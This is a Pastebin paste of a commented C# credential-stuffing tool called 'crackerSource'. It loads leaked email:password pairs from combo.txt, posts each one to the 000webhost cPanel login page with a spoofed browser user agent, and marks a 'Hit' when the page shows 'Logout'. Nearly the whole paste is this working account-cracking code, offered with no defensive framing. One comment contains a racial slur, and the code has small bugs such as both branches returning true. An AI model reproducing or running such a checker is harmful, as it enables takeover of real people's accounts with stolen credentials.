Advertisement
Guest User

Untitled

a guest
Apr 2nd, 2020
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.93 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Net;
  7. using System.IO;
  8.  
  9. // Notes:
  10. // Request URL = https://www.000webhost.com/cpanel-login
  11. // Content Type = application/x-www-form-urlencoded
  12. // Data: email=john%40gmail.com&password=smith
  13.  
  14.  
  15. namespace crackerSource
  16. {
  17. class Program
  18. {
  19. static void Main(string[] args)
  20. {
  21. List<string> Combos = new List<string>(); // make a list to store all the combos that we gonna check
  22.  
  23. foreach (string line in File.ReadLines(@"./combo.txt")) // load all combos from combo.txt
  24. {
  25. Combos.Add(line.Replace("\n", "")); // Replacing all empty lines with nothing
  26. }
  27. foreach (string combo in Combos) // for each combo that we loaded from the txt file
  28. {
  29. check(combo);// do our check function
  30. }
  31. Console.ForegroundColor = ConsoleColor.White;
  32. Console.WriteLine("Finished checking!");
  33. Console.ReadKey();
  34. }
  35. private static bool check(string combo)
  36. {
  37. combo = combo.Replace("@", "%40"); // Replacing any @'s with %40 because the server cannot understand @, it understands it as %40
  38.  
  39. // An example string of combo would be "john:smith", in the code below we have made ':' the split parameter and we are making username equal to john and password equal to smith.
  40. string username = combo.Split(':')[0];
  41. string password = combo.Split(':')[1];
  42.  
  43. // Filling in the blanks of the Data on line 11 so we can send this request to the website.
  44. string data = "email=" + username + " &password=" + password;
  45.  
  46. // (HttpWebRequest)WebRequest.Create("") is how we make a web request.
  47. var request2 = (HttpWebRequest)WebRequest.Create("https://www.000webhost.com/cpanel-login"); // Here we are creating a request variable
  48.  
  49. var postData = Encoding.ASCII.GetBytes(data); // Getting the bytes(amount of characters) of the data on line 27 and store this amount of characters in a variable called postData
  50. request2.Method = "POST"; // We are stating what we are doing, POST is used to send data to a server to create/update a resource.
  51. request2.ContentType = "application/x-www-form-urlencoded"; // ???
  52. request2.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36"; // Which browser type is sending the request.
  53. request2.ContentLength = data.Length; // Telling the server how much data (how many characters) we are sending it
  54. using (var stream = request2.GetRequestStream()) // ???
  55. {
  56. stream.Write(postData, 0, data.Length); // Finally Sending the data
  57. }
  58. var response = (HttpWebResponse)request2.GetResponse(); // Actually Performing the Request and getting a Response from the server
  59. // new StreamReader is basically saying lets create a new nigga thats gonna read the code, response.GetResponseStream() is saying aight get him to come over here rn I need to use u, also read that shit to the end. (ReadtoEnd())
  60. string html = new StreamReader(response.GetResponseStream()).ReadToEnd(); // gets the html of the response
  61.  
  62. if (html.Contains("Logout")) // Checking if the html code contains the string "Logout" because if it does that means your logged in.
  63. {
  64. Console.ForegroundColor = ConsoleColor.Green;
  65. Console.WriteLine("[+] Hit -->");
  66. return true;
  67. }
  68. else
  69. {
  70. Console.ForegroundColor = ConsoleColor.Red;
  71. Console.WriteLine("[+] Bad <--");
  72. return true;
  73. }
  74.  
  75. }
  76.  
  77. }
  78. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement